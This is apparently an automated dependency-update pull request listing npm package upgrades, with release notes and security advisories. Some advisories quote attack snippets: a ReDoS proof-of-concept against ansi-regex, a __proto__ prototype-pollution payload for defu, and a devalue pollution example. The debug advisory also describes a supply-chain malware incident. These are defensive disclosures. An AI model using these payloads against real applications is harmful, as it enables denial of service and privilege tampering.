harfbuzz 12.1.0
heif 1.20.2
hwy 1.3.0
imagequant 2.4.1
lcms 2.17
mozjpeg 0826579
pango 1.57.0
pixman 0.46.4
png 1.6.50
proxy-libintl 0.5
rsvg 2.61.2
spng 0.7.4
tiff 4.7.1
vips 8.17.3
webp 1.6.0
xml2 2.15.1
zlib-ng 2.2.5

1.2.3

Dependency Version
aom 3.13.1
archive 3.8.1
cairo 1.18.4
cgif 0.5.0
exif 0.6.25
expat 2.7.2
ffi 3.5.2
fontconfig 2.17.1
freetype 2.14.1
fribidi 1.0.16
glib 2.86.0
harfbuzz 11.5.0
heif 1.20.2
hwy 1.3.0
imagequant 2.4.1
lcms 2.17
mozjpeg 4.1.5
pango 1.57.0
pixman 0.46.4
png 1.6.50
proxy-libintl 0.5
rsvg 2.61.1
spng 0.7.4
tiff 4.7.0
vips 8.17.2
webp 1.6.0
xml2 2.15.0
zlib-ng 2.2.5

1.2.2

Dependency Version
aom 3.13.1
archive 3.8.1
cairo 1.18.4
cgif 0.5.0
exif 0.6.25
expat 2.7.1
ffi 3.5.2
fontconfig 2.17.1
freetype 2.14.1
fribidi 1.0.16
glib 2.86.0
harfbuzz 11.5.0
heif 1.20.2
hwy 1.3.0
imagequant 2.4.1
lcms 2.17
mozjpeg 4.1.5
pango 1.57.0
pixman 0.46.4
png 1.6.50
proxy-libintl 0.5
rsvg 2.61.1
spng 0.7.4
tiff 4.7.0
vips 8.17.2
webp 1.6.0
xml2 2.14.6
zlib-ng 2.2.5

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 11 commits:

↗️ @​img/sharp-libvips-linuxmusl-x64 (indirect, 1.0.4 β†’ 1.2.4) Β· Repo

Release Notes

1.2.4

Dependency Version
aom 3.13.1
archive 3.8.2
cairo 1.18.4
cgif 0.5.0
exif 0.6.25
expat 2.7.3
ffi 3.5.2
fontconfig 2.17.1
freetype 2.14.1
fribidi 1.0.16
glib 2.86.1
harfbuzz 12.1.0
heif 1.20.2
hwy 1.3.0
imagequant 2.4.1
lcms 2.17
mozjpeg 0826579
pango 1.57.0
pixman 0.46.4
png 1.6.50
proxy-libintl 0.5
rsvg 2.61.2
spng 0.7.4
tiff 4.7.1
vips 8.17.3
webp 1.6.0
xml2 2.15.1
zlib-ng 2.2.5

1.2.3

Dependency Version
aom 3.13.1
archive 3.8.1
cairo 1.18.4
cgif 0.5.0
exif 0.6.25
expat 2.7.2
ffi 3.5.2
fontconfig 2.17.1
freetype 2.14.1
fribidi 1.0.16
glib 2.86.0
harfbuzz 11.5.0
heif 1.20.2
hwy 1.3.0
imagequant 2.4.1
lcms 2.17
mozjpeg 4.1.5
pango 1.57.0
pixman 0.46.4
png 1.6.50
proxy-libintl 0.5
rsvg 2.61.1
spng 0.7.4
tiff 4.7.0
vips 8.17.2
webp 1.6.0
xml2 2.15.0
zlib-ng 2.2.5

1.2.2

Dependency Version
aom 3.13.1
archive 3.8.1
cairo 1.18.4
cgif 0.5.0
exif 0.6.25
expat 2.7.1
ffi 3.5.2
fontconfig 2.17.1
freetype 2.14.1
fribidi 1.0.16
glib 2.86.0
harfbuzz 11.5.0
heif 1.20.2
hwy 1.3.0
imagequant 2.4.1
lcms 2.17
mozjpeg 4.1.5
pango 1.57.0
pixman 0.46.4
png 1.6.50
proxy-libintl 0.5
rsvg 2.61.1
spng 0.7.4
tiff 4.7.0
vips 8.17.2
webp 1.6.0
xml2 2.14.6
zlib-ng 2.2.5

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 11 commits:

↗️ @​img/sharp-linux-arm (indirect, 0.33.5 β†’ 0.34.5) Β· Repo

Release Notes

0.34.5

  • Upgrade to libvips v8.17.3 for upstream bug fixes.

  • Add experimental support for prebuilt Linux RISC-V 64-bit binaries.

  • Support building from source with npm v12+, deprecate --build-from-source flag.
    #4458

  • Add support for BigTIFF output.
    #4459
    @throwbi

  • Improve error messaging when only warnings issued.
    #4465

  • Simplify ICC processing when retaining input profiles.
    #4468

0.34.4

  • Upgrade to libvips v8.17.2 for upstream bug fixes.

  • Ensure TIFF subifd and OpenSlide level input options are respected (regression in 0.34.3).

  • Ensure autoOrient occurs before non-90 angle rotation.
    #4425

  • Ensure autoOrient removes existing metadata after shrink-on-load.
    #4431

  • TypeScript: Ensure KernelEnum includes linear.
    #4441
    @BayanBennett

  • Ensure unlimited flag is passed upstream when reading TIFF images.
    #4446

  • Support Electron memory cage when reading XMP metadata (regression in 0.34.3).
    #4451

  • Add sharp-libvips rpath for yarn v5 support.
    #4452
    @arcanis

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ @​img/sharp-linux-arm64 (indirect, 0.33.5 β†’ 0.34.5) Β· Repo

Release Notes

0.34.5

  • Upgrade to libvips v8.17.3 for upstream bug fixes.

  • Add experimental support for prebuilt Linux RISC-V 64-bit binaries.

  • Support building from source with npm v12+, deprecate --build-from-source flag.
    #4458

  • Add support for BigTIFF output.
    #4459
    @throwbi

  • Improve error messaging when only warnings issued.
    #4465

  • Simplify ICC processing when retaining input profiles.
    #4468

0.34.4

  • Upgrade to libvips v8.17.2 for upstream bug fixes.

  • Ensure TIFF subifd and OpenSlide level input options are respected (regression in 0.34.3).

  • Ensure autoOrient occurs before non-90 angle rotation.
    #4425

  • Ensure autoOrient removes existing metadata after shrink-on-load.
    #4431

  • TypeScript: Ensure KernelEnum includes linear.
    #4441
    @BayanBennett

  • Ensure unlimited flag is passed upstream when reading TIFF images.
    #4446

  • Support Electron memory cage when reading XMP metadata (regression in 0.34.3).
    #4451

  • Add sharp-libvips rpath for yarn v5 support.
    #4452
    @arcanis

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ @​img/sharp-linux-s390x (indirect, 0.33.5 β†’ 0.34.5) Β· Repo

Release Notes

0.34.5

  • Upgrade to libvips v8.17.3 for upstream bug fixes.

  • Add experimental support for prebuilt Linux RISC-V 64-bit binaries.

  • Support building from source with npm v12+, deprecate --build-from-source flag.
    #4458

  • Add support for BigTIFF output.
    #4459
    @throwbi

  • Improve error messaging when only warnings issued.
    #4465

  • Simplify ICC processing when retaining input profiles.
    #4468

0.34.4

  • Upgrade to libvips v8.17.2 for upstream bug fixes.

  • Ensure TIFF subifd and OpenSlide level input options are respected (regression in 0.34.3).

  • Ensure autoOrient occurs before non-90 angle rotation.
    #4425

  • Ensure autoOrient removes existing metadata after shrink-on-load.
    #4431

  • TypeScript: Ensure KernelEnum includes linear.
    #4441
    @BayanBennett

  • Ensure unlimited flag is passed upstream when reading TIFF images.
    #4446

  • Support Electron memory cage when reading XMP metadata (regression in 0.34.3).
    #4451

  • Add sharp-libvips rpath for yarn v5 support.
    #4452
    @arcanis

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ @​img/sharp-linux-x64 (indirect, 0.33.5 β†’ 0.34.5) Β· Repo

Release Notes

0.34.5

  • Upgrade to libvips v8.17.3 for upstream bug fixes.

  • Add experimental support for prebuilt Linux RISC-V 64-bit binaries.

  • Support building from source with npm v12+, deprecate --build-from-source flag.
    #4458

  • Add support for BigTIFF output.
    #4459
    @throwbi

  • Improve error messaging when only warnings issued.
    #4465

  • Simplify ICC processing when retaining input profiles.
    #4468

0.34.4

  • Upgrade to libvips v8.17.2 for upstream bug fixes.

  • Ensure TIFF subifd and OpenSlide level input options are respected (regression in 0.34.3).

  • Ensure autoOrient occurs before non-90 angle rotation.
    #4425

  • Ensure autoOrient removes existing metadata after shrink-on-load.
    #4431

  • TypeScript: Ensure KernelEnum includes linear.
    #4441
    @BayanBennett

  • Ensure unlimited flag is passed upstream when reading TIFF images.
    #4446

  • Support Electron memory cage when reading XMP metadata (regression in 0.34.3).
    #4451

  • Add sharp-libvips rpath for yarn v5 support.
    #4452
    @arcanis

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ @​img/sharp-linuxmusl-arm64 (indirect, 0.33.5 β†’ 0.34.5) Β· Repo

Release Notes

0.34.5

  • Upgrade to libvips v8.17.3 for upstream bug fixes.

  • Add experimental support for prebuilt Linux RISC-V 64-bit binaries.

  • Support building from source with npm v12+, deprecate --build-from-source flag.
    #4458

  • Add support for BigTIFF output.
    #4459
    @throwbi

  • Improve error messaging when only warnings issued.
    #4465

  • Simplify ICC processing when retaining input profiles.
    #4468

0.34.4

  • Upgrade to libvips v8.17.2 for upstream bug fixes.

  • Ensure TIFF subifd and OpenSlide level input options are respected (regression in 0.34.3).

  • Ensure autoOrient occurs before non-90 angle rotation.
    #4425

  • Ensure autoOrient removes existing metadata after shrink-on-load.
    #4431

  • TypeScript: Ensure KernelEnum includes linear.
    #4441
    @BayanBennett

  • Ensure unlimited flag is passed upstream when reading TIFF images.
    #4446

  • Support Electron memory cage when reading XMP metadata (regression in 0.34.3).
    #4451

  • Add sharp-libvips rpath for yarn v5 support.
    #4452
    @arcanis

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ @​img/sharp-linuxmusl-x64 (indirect, 0.33.5 β†’ 0.34.5) Β· Repo

Release Notes

0.34.5

  • Upgrade to libvips v8.17.3 for upstream bug fixes.

  • Add experimental support for prebuilt Linux RISC-V 64-bit binaries.

  • Support building from source with npm v12+, deprecate --build-from-source flag.
    #4458

  • Add support for BigTIFF output.
    #4459
    @throwbi

  • Improve error messaging when only warnings issued.
    #4465

  • Simplify ICC processing when retaining input profiles.
    #4468

0.34.4

  • Upgrade to libvips v8.17.2 for upstream bug fixes.

  • Ensure TIFF subifd and OpenSlide level input options are respected (regression in 0.34.3).

  • Ensure autoOrient occurs before non-90 angle rotation.
    #4425

  • Ensure autoOrient removes existing metadata after shrink-on-load.
    #4431

  • TypeScript: Ensure KernelEnum includes linear.
    #4441
    @BayanBennett

  • Ensure unlimited flag is passed upstream when reading TIFF images.
    #4446

  • Support Electron memory cage when reading XMP metadata (regression in 0.34.3).
    #4451

  • Add sharp-libvips rpath for yarn v5 support.
    #4452
    @arcanis

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ @​img/sharp-wasm32 (indirect, 0.33.5 β†’ 0.34.5) Β· Repo

Release Notes

0.34.5

  • Upgrade to libvips v8.17.3 for upstream bug fixes.

  • Add experimental support for prebuilt Linux RISC-V 64-bit binaries.

  • Support building from source with npm v12+, deprecate --build-from-source flag.
    #4458

  • Add support for BigTIFF output.
    #4459
    @throwbi

  • Improve error messaging when only warnings issued.
    #4465

  • Simplify ICC processing when retaining input profiles.
    #4468

0.34.4

  • Upgrade to libvips v8.17.2 for upstream bug fixes.

  • Ensure TIFF subifd and OpenSlide level input options are respected (regression in 0.34.3).

  • Ensure autoOrient occurs before non-90 angle rotation.
    #4425

  • Ensure autoOrient removes existing metadata after shrink-on-load.
    #4431

  • TypeScript: Ensure KernelEnum includes linear.
    #4441
    @BayanBennett

  • Ensure unlimited flag is passed upstream when reading TIFF images.
    #4446

  • Support Electron memory cage when reading XMP metadata (regression in 0.34.3).
    #4451

  • Add sharp-libvips rpath for yarn v5 support.
    #4452
    @arcanis

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ @​img/sharp-win32-ia32 (indirect, 0.33.5 β†’ 0.34.5) Β· Repo

Release Notes

0.34.5

  • Upgrade to libvips v8.17.3 for upstream bug fixes.

  • Add experimental support for prebuilt Linux RISC-V 64-bit binaries.

  • Support building from source with npm v12+, deprecate --build-from-source flag.
    #4458

  • Add support for BigTIFF output.
    #4459
    @throwbi

  • Improve error messaging when only warnings issued.
    #4465

  • Simplify ICC processing when retaining input profiles.
    #4468

0.34.4

  • Upgrade to libvips v8.17.2 for upstream bug fixes.

  • Ensure TIFF subifd and OpenSlide level input options are respected (regression in 0.34.3).

  • Ensure autoOrient occurs before non-90 angle rotation.
    #4425

  • Ensure autoOrient removes existing metadata after shrink-on-load.
    #4431

  • TypeScript: Ensure KernelEnum includes linear.
    #4441
    @BayanBennett

  • Ensure unlimited flag is passed upstream when reading TIFF images.
    #4446

  • Support Electron memory cage when reading XMP metadata (regression in 0.34.3).
    #4451

  • Add sharp-libvips rpath for yarn v5 support.
    #4452
    @arcanis

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ @​img/sharp-win32-x64 (indirect, 0.33.5 β†’ 0.34.5) Β· Repo

Release Notes

0.34.5

  • Upgrade to libvips v8.17.3 for upstream bug fixes.

  • Add experimental support for prebuilt Linux RISC-V 64-bit binaries.

  • Support building from source with npm v12+, deprecate --build-from-source flag.
    #4458

  • Add support for BigTIFF output.
    #4459
    @throwbi

  • Improve error messaging when only warnings issued.
    #4465

  • Simplify ICC processing when retaining input profiles.
    #4468

0.34.4

  • Upgrade to libvips v8.17.2 for upstream bug fixes.

  • Ensure TIFF subifd and OpenSlide level input options are respected (regression in 0.34.3).

  • Ensure autoOrient occurs before non-90 angle rotation.
    #4425

  • Ensure autoOrient removes existing metadata after shrink-on-load.
    #4431

  • TypeScript: Ensure KernelEnum includes linear.
    #4441
    @BayanBennett

  • Ensure unlimited flag is passed upstream when reading TIFF images.
    #4446

  • Support Electron memory cage when reading XMP metadata (regression in 0.34.3).
    #4451

  • Add sharp-libvips rpath for yarn v5 support.
    #4452
    @arcanis

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ @​jridgewell/sourcemap-codec (indirect, 1.5.0 β†’ 1.5.5) Β· Repo Β· Changelog

↗️ @​rollup/pluginutils (indirect, 5.2.0 β†’ 5.3.0) Β· Repo Β· Changelog

Release Notes

5.3.0 (from changelog)

2025-09-04

Features

  • feat: add suffixRegex & support multiple string (#1886)

Does any of this look wrong? Please let us know.

↗️ ansi-regex (indirect, 5.0.1 β†’ 6.2.2) Β· Repo

Security Advisories 🚨

🚨 Inefficient Regular Expression Complexity in chalk/ansi-regex

ansi-regex is vulnerable to Inefficient Regular Expression Complexity which could lead to a denial of service when parsing invalid ANSI escape codes.

Proof of Concept

import ansiRegex from 'ansi-regex';
for(var i = 1; i <= 50000; i++) {
    var time = Date.now();
    var attack_str = "\u001B["+";".repeat(i*10000);
    ansiRegex().test(attack_str)
    var time_cost = Date.now() - time;
    console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
}

The ReDOS is mainly due to the sub-patterns [[\\]()#;?]* and (?:;[-a-zA-Z\\d\\/#&.:=?%@~_]*)*

Release Notes

6.2.2

6.2.0

  • Support colon separated parameters to control sequences (#62) df7d75f

v6.1.0...v6.2.0

6.1.0

  • Match cursorSave and cursorRestore escape codes (#45) 02fa893
  • Fix: Handle all valid ST characters (#58) 9cba40d

v6.0.1...v6.1.0

6.0.1

Fixes

  • Fix ReDoS in certain cases (#37)
    You are only really affected if you run the regex on untrusted user input in a server context, which it's very unlikely anyone is doing, since this regex is mainly used in command-line tools.

v6.0.0...v6.0.1

Thank you @yetingli for the patch and reproduction case!

6.0.0

Breaking

v5.0.0...v6.0.0

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 63 commits:

↗️ ci-info (indirect, 4.2.0 β†’ 4.4.0) Β· Repo Β· Changelog

Release Notes

4.4.0

4.3.1

Bug Fixes

  • don't read envs when CI is set to false 3fae1ac

4.3.0

  • support Cloudflare workers e438266

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 15 commits:

↗️ common-ancestor-path (indirect, 1.0.1 β†’ 2.0.0) Β· Repo

Commits

See the full diff on Github. The new version differs by 2 commits:

↗️ cookie (indirect, 1.0.2 β†’ 1.1.1) Β· Repo Β· Changelog

Release Notes

1.1.1

Fixed

  • Overwrite value in passed in options (#253) c66147c
    • When value was provided in serialize(key, value, { value }) the value in options was used instead of the value passed as an argument

v1.1.0...v1.1.1

1.1.0

Added:

  • Add stringifyCookie and parseSetCookie methods (#244, #214)
  • Rename existing methods for clarity (old method names remain for backward compatibility)
    • parse β†’ parseCookie
    • serialize β†’ stringifySetCookie
  • Add side effects field (#245) 00b0327

v1.0.2...v1.1.0

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 16 commits:

↗️ cookie-es (indirect, 1.2.2 β†’ 1.2.3) Β· Repo Β· Changelog

Commits

See the full diff on Github. The new version differs by 3 commits:

↗️ debug (indirect, 4.4.1 β†’ 4.4.3) Β· Repo Β· Changelog

Security Advisories 🚨

🚨 debug@4.4.2 contains malware after npm account takeover

Impact

On 8 September 2025, the npm publishing account for debug was taken over after a phishing attack. Version 4.4.2 was published, functionally identical to the previous patch version, but with a malware payload added attempting to redirect cryptocurrency transactions to the attacker's own addresses from within browser environments.

Local environments, server environments, command line applications, etc. are not affected. If the package was used in a browser context (e.g. a direct <script> inclusion, or via a bundling tool such as Babel, Rollup, Vite, Next.js, etc.) there is a chance the malware still exists and such bundles will need to be rebuilt.

The malware seemingly only targets cryptocurrency transactions and wallets such as MetaMask. See references below for more information on the payload.

Patches

npm removed the offending package from the registry over the course of the day on 8 September, preventing further downloads from npm proper.

On 13 September, the package owner published new patch versions to help cache-bust those using private registries who might still have the compromised version cached. This version is functionally identical to the previously known-good version, published as a patch version bump above the compromised version.

Users should upgrade to the latest patch version, completely remove their node_modules directory, clean their package manager's global cache, and rebuild any browser bundles from scratch.

Those operating private registries or registry mirrors should purge the offending versions from any caches.

References

Point of Contact

In the event suspicious behavior is still observed for the package listed in this security advisory after performing all of the above cleaning operations (see Patches above), please reach out via one of the following channels of communication:

Release Notes

4.4.3

Functionally identical release to 4.4.1.

Version 4.4.2 is compromised. Please see #1005.

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 1 commit:

↗️ defu (indirect, 6.1.4 β†’ 6.1.7) Β· Repo Β· Changelog

Security Advisories 🚨

🚨 defu: Prototype pollution via `__proto__` key in defaults argument

Impact

Applications that pass unsanitized user input (e.g. parsed JSON request bodies, database records, or config files from untrusted sources) as the first argument to defu() are vulnerable to prototype pollution.

A crafted payload containing a __proto__ key can override intended default values in the merged result:

import { defu } from 'defu'

const userInput = JSON.parse('{"__proto__":{"isAdmin":true}}')
const config = defu(userInput, { isAdmin: false })

config.isAdmin // true β€” attacker overrides the server default

Root Cause

The internal _defu function used Object.assign({}, defaults) to copy the defaults object. Object.assign invokes the __proto__ setter, which replaces the resulting object's [[Prototype]] with attacker-controlled values. Properties inherited from the polluted prototype then bypass the existing __proto__ key guard in the for...in loop and land in the final result.

Fix

Replace Object.assign({}, defaults) with object spread ({ ...defaults }), which uses [[DefineOwnProperty]] and does not invoke the __proto__ setter.

Affected Versions

<= 6.1.4

Credits

Reported by @BlackHatExploitation

Release Notes

6.1.7

compare changes

πŸ“¦ Build

  • Correct the types export entry (#160)
  • Export Defu types (#157)

❀️ Contributors

6.1.6

compare changes

πŸ“¦ Build

6.1.5

compare changes

🩹 Fixes

  • Prevent prototype pollution via __proto__ in defaults (#156)
  • Ignore inherited enumerable properties (11ba022)

βœ… Tests

  • Add more tests for plain objects (b65f603)

❀️ Contributors

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 17 commits:

↗️ detect-libc (indirect, 2.0.4 β†’ 2.1.2) Β· Repo Β· Changelog

Commits

See the full diff on Github. The new version differs by 11 commits:

↗️ devalue (indirect, 5.3.2 β†’ 5.7.1) Β· Repo Β· Changelog

Security Advisories 🚨

🚨 devalue has prototype pollution in devalue.parse and devalue.unflatten

In devalue v5.6.3, devalue.parse and devalue.unflatten were susceptible to prototype pollution via maliciously crafted payloads. Successful exploitation could lead to Denial of Service (DoS) or type confusion.

🚨 Sveltejs devalue's `devalue.parse` and `devalue.unflatten` emit objects with `__proto__` own properties

In some circumstances, devalue.parse and devalue.unflatten could emit objects with __proto__ own properties. This in and of itself is not a security vulnerability (and is possible with, for example, JSON.parse as well), but it can result in prototype injection if downstream code handles it incorrectly:

const result = devalue.parse(/* input creating an object with a __proto__ property */);
const target = {};
Object.assign(target, result); // target's prototype is now polluted

🚨 devalue `uneval`ed code can create objects with polluted prototypes when `eval`ed

Under certain circumstances, unevaling untrusted data can produce output code that will create objects with polluted prototypes when later evaled, meaning the output data can be a different shape from the input data.

🚨 devalue affected by CPU and memory amplification from sparse arrays

Under certain circumstances, serializing sparse arrays using uneval or stringify could cause CPU and/or memory exhaustion. When this occurs on the server, it results in a DoS. This is extremely difficult to take advantage of in practice, as an attacker would have to manage to create a sparse array on the server β€” which is impossible in every mainstream wire format β€” and then that sparse array would have to be run through uneval or stringify.

🚨 Devalue is vulnerable to denial of service due to memory exhaustion in devalue.parse

Summary

Certain inputs can cause devalue.parse to consume excessive CPU time and/or memory, potentially leading to denial of service in systems that parse input from untrusted sources. This affects applications using devalue.parse on externally-supplied data. The root cause is the typed array hydration expecting an ArrayBuffer as input, but not checking the assumption before creating the typed array.

Details

The parser's typed array hydration logic does not properly validate input before processing. Specially crafted inputs can cause disproportionate memory allocation or CPU usage on the receiving system.

Impact

This is a denial of service vulnerability affecting systems that use devalue.parse to handle data from potentially untrusted sources.

Affected systems should upgrade to patched versions immediately.

🚨 devalue vulnerable to denial of service due to memory/CPU exhaustion in devalue.parse

Summary

Certain inputs can cause devalue.parse to consume excessive CPU time and/or memory, potentially leading to denial of service in systems that parse input from untrusted sources. This affects applications using devalue.parse on externally-supplied data. The root cause is the ArrayBuffer hydration expecting base64 encoded strings as input, but not checking the assumption before decoding the input.

Details

The parser's ArrayBuffer hydration logic does not properly validate input before processing. Specially crafted inputs can cause disproportionate memory allocation or CPU usage on the receiving system.

Impact

This is a denial of service vulnerability affecting systems that use devalue.parse to handle data from potentially untrusted sources.

Affected systems should upgrade to patched versions immediately.

Release Notes

5.7.1

Patch Changes

  • 8becc7c: fix: handle regexes consistently in uneval's value and reference formats

5.7.0

Minor Changes

  • df2e284: feat: use native alternatives to encode/decode base64
  • 498656e: feat: add DataView support
  • a210130: feat: whitelist Float16Array
  • df2e284: feat: simplify TypedArray slices

Patch Changes

  • 5590634: fix: get uneval type handling up to parity with stringify
  • 57f73fc: fix: correctly support boxed bigints and sentinel values

5.6.4

Patch Changes

  • 87c1f3c: fix: reject __proto__ keys in malformed Object wrapper payloads

    This validates the "Object" parse path and throws when the wrapped value has an own __proto__ key.

  • 40f1db1: fix: ensure sparse array indices are integers

  • 87c1f3c: fix: disallow __proto__ keys in null-prototype object parsing

    This disallows __proto__ keys in the "null" parse path so null-prototype object hydration cannot carry that key through parse/unflatten.

5.6.3

Patch Changes

  • 0f04d4d: fix: Properly handle __proto__
  • 819f1ac: fix: better encoding for sparse arrays

5.6.2

Patch Changes

  • 1175584: fix: validate input for ArrayBuffer parsing
  • e46afa6: fix: validate input for typed arrays
  • 1175584: fix: more helpful errors for inputs causing stack overflows

5.6.1

Patch Changes

  • 2161d44: fix: add hasOwn check before calling reviver

5.6.0

Minor Changes

  • a3d09d4: feat: expose DevalueError for instanceof checks in catch clauses
  • a3d09d4: feat: add value and root properties in DevalueError instances

5.5.0

Minor Changes

  • 828fa1c: Enable support for custom reducer/reviver for "function" values

5.4.2

Patch Changes

  • 5c26c0d: fix: allow custom revivers to revive things serialized by builtin reducers

5.4.1

Patch Changes

  • ca3c7b6: chore: Remove impossible void type from replacer's uneval

5.4.0

Minor Changes

  • 9306d09: feat: pass uneval to replacer, for handling nested custom types

Patch Changes

  • b617c7c: perf: shrink uneval output with null-proto objects

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 37 commits:

↗️ diff (indirect, 5.2.0 β†’ 8.0.4) Β· Repo

Security Advisories 🚨

🚨 jsdiff has a Denial of Service vulnerability in parsePatch and applyPatch

Impact

Attempting to parse a patch whose filename headers contain the line break characters \r, \u2028, or \u2029 can cause the parsePatch method to enter an infinite loop. It then consumes memory without limit until the process crashes due to running out of memory.

Applications are therefore likely to be vulnerable to a denial-of-service attack if they call parsePatch with a user-provided patch as input. A large payload is not needed to trigger the vulnerability, so size limits on user input do not provide any protection. Furthermore, some applications may be vulnerable even when calling parsePatch on a patch generated by the application itself if the user is nonetheless able to control the filename headers (e.g. by directly providing the filenames of the files to be diffed).

The applyPatch method is similarly affected if (and only if) called with a string representation of a patch as an argument, since under the hood it parses that string using parsePatch. Other methods of the library are unaffected.

Finally, a second and lesser bug - a ReDOS - also exhibits when those same line break characters are present in a patch's patch header (also known as its "leading garbage"). A maliciously-crafted patch header of length n can take parsePatch O(nΒ³) time to parse.

Patches

All vulnerabilities described are fixed in v8.0.3.

Workarounds

If using a version of jsdiff earlier than v8.0.3, do not attempt to parse patches that contain any of these characters: \r, \u2028, or \u2029.

References

PR that fixed the bug: #649

CVE Notes

Note that although the advisory describes two bugs, they each enable exactly the same attack vector (that an attacker who controls input to parsePatch can cause a DOS). Fixing one bug without fixing the other therefore does not fix the vulnerability and does not provide any security benefit. Therefore we assume that the bugs cannot possibly constitute Independently Fixable Vulnerabilities in the sense of CVE CNA rule 4.2.11, but rather that this advisory is properly construed under the rules as describing a single Vulnerability.

🚨 jsdiff has a Denial of Service vulnerability in parsePatch and applyPatch

Impact

Attempting to parse a patch whose filename headers contain the line break characters \r, \u2028, or \u2029 can cause the parsePatch method to enter an infinite loop. It then consumes memory without limit until the process crashes due to running out of memory.

Applications are therefore likely to be vulnerable to a denial-of-service attack if they call parsePatch with a user-provided patch as input. A large payload is not needed to trigger the vulnerability, so size limits on user input do not provide any protection. Furthermore, some applications may be vulnerable even when calling parsePatch on a patch generated by the application itself if the user is nonetheless able to control the filename headers (e.g. by directly providing the filenames of the files to be diffed).

The applyPatch method is similarly affected if (and only if) called with a string representation of a patch as an argument, since under the hood it parses that string using parsePatch. Other methods of the library are unaffected.

Finally, a second and lesser bug - a ReDOS - also exhibits when those same line break characters are present in a patch's patch header (also known as its "leading garbage"). A maliciously-crafted patch header of length n can take parsePatch O(nΒ³) time to parse.

Patches

All vulnerabilities described are fixed in v8.0.3.

Workarounds

If using a version of jsdiff earlier than v8.0.3, do not attempt to parse patches that contain any of these characters: \r, \u2028, or \u2029.

References

PR that fixed the bug: #649

CVE Notes

Note that although the advisory describes two bugs, they each enable exactly the same attack vector (that an attacker who controls input to parsePatch can cause a DOS). Fixing one bug without fixing the other therefore does not fix the vulnerability and does not provide any security benefit. Therefore we assume that the bugs cannot possibly constitute Independently Fixable Vulnerabilities in the sense of CVE CNA rule 4.2.11, but rather that this advisory is properly construed under the rules as describing a single Vulnerability.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ emoji-regex (indirect, 10.4.0 β†’ 10.6.0) Β· Repo

Commits

See the full diff on Github. The new version differs by 7 commits:

↗️ eventemitter3 (indirect, 5.0.1 β†’ 5.0.4) Β· Repo

Release Notes

5.0.4

Bug fixes

  • Restored TypeScript type definitions to their pre-5.0.2 state (92fb3c6,
    71ab64b).

5.0.3

Bug fixes

  • Fixed TypeScript type definitions (#282).

5.0.2

Bug fixes

  • Fixed type definitions for ESM import (#279).

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 20 commits:

↗️ h3 (indirect, 1.15.3 β†’ 1.15.11) Β· Repo Β· Changelog

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ http-cache-semantics (indirect, 4.1.1 β†’ 4.2.0) Β· Repo

Sorry, we couldn’t find anything useful about this release.

↗️ import-meta-resolve (indirect, 4.1.0 β†’ 4.2.0) Β· Repo

Release Notes

4.2.0

Types

Fix

resolve/pull/32

Full Changelog: 4.1.0...4.2.0

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 14 commits:

↗️ magic-string (indirect, 0.30.17 β†’ 0.30.21) Β· Repo Β· Changelog

Release Notes

0.30.21

No significant changes

Β Β Β Β View changes on GitHub

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 16 commits:

↗️ magicast (indirect, 0.3.5 β†’ 0.5.2) Β· Repo Β· Changelog

Release Notes

0.5.2

Β Β Β πŸš€ Features

Β Β Β Β View changes on GitHub

0.5.1

   🐞 Bug Fixes

Β Β Β Β View changes on GitHub

0.5.0

   🚨 Breaking Changes

   🐞 Bug Fixes

  • exports, object: Preserve async keyword for generated functions Β -Β  by @userquin in #138 (3c2c6)
Β Β Β Β View changes on GitHub

0.4.0

compare changes

πŸš€ Enhancements

  • ⚠️ Add introspection and improve proxy behavior (#136)

🏑 Chore

⚠️ Breaking Changes

  • ⚠️ Add introspection and improve proxy behavior (#136)

❀️ Contributors

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 24 commits:

↗️ ofetch (indirect, 1.4.1 β†’ 1.5.1) Β· Repo Β· Changelog

Release Notes

1.5.1

compare changes

🩹 Fixes

  • Normalize options.headers (again) after onRequest hook (#524)

❀️ Contributors

1.5.0

compare changes

πŸš€ Enhancements

  • Serialize with URLSearchParams for application/x-www-form-urlencoded content type header (#482)
  • Auto detect text/event-stream as stream response type (#486)

🩹 Fixes

  • Mark FormData & URLSearchParams as non-serializable for bun compatibility (#483)

πŸ’… Refactors

  • Deprecate params in favor of query (#511)

πŸ“– Documentation

  • readme: Use ProxyAgent in example (#465)
  • Fix typo (#472)
  • Add retryStatusCodes option to auto retry example (#480)
  • Guide on augmenting FetchOptions (#487)
  • Replace ProxyAgent with Agent in self-signed certs example (#516)

❀️ Contributors

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 46 commits:

↗️ p-limit (indirect, 6.2.0 β†’ 7.3.0) Β· Repo

Release Notes

7.3.0

  • Add rejectOnClear option 8907801
  • Support options object in pLimit() 870db0f

v7.2.0...v7.3.0

7.2.0

  • Make .map() method accept an iterable, not just array (#98) d76231b

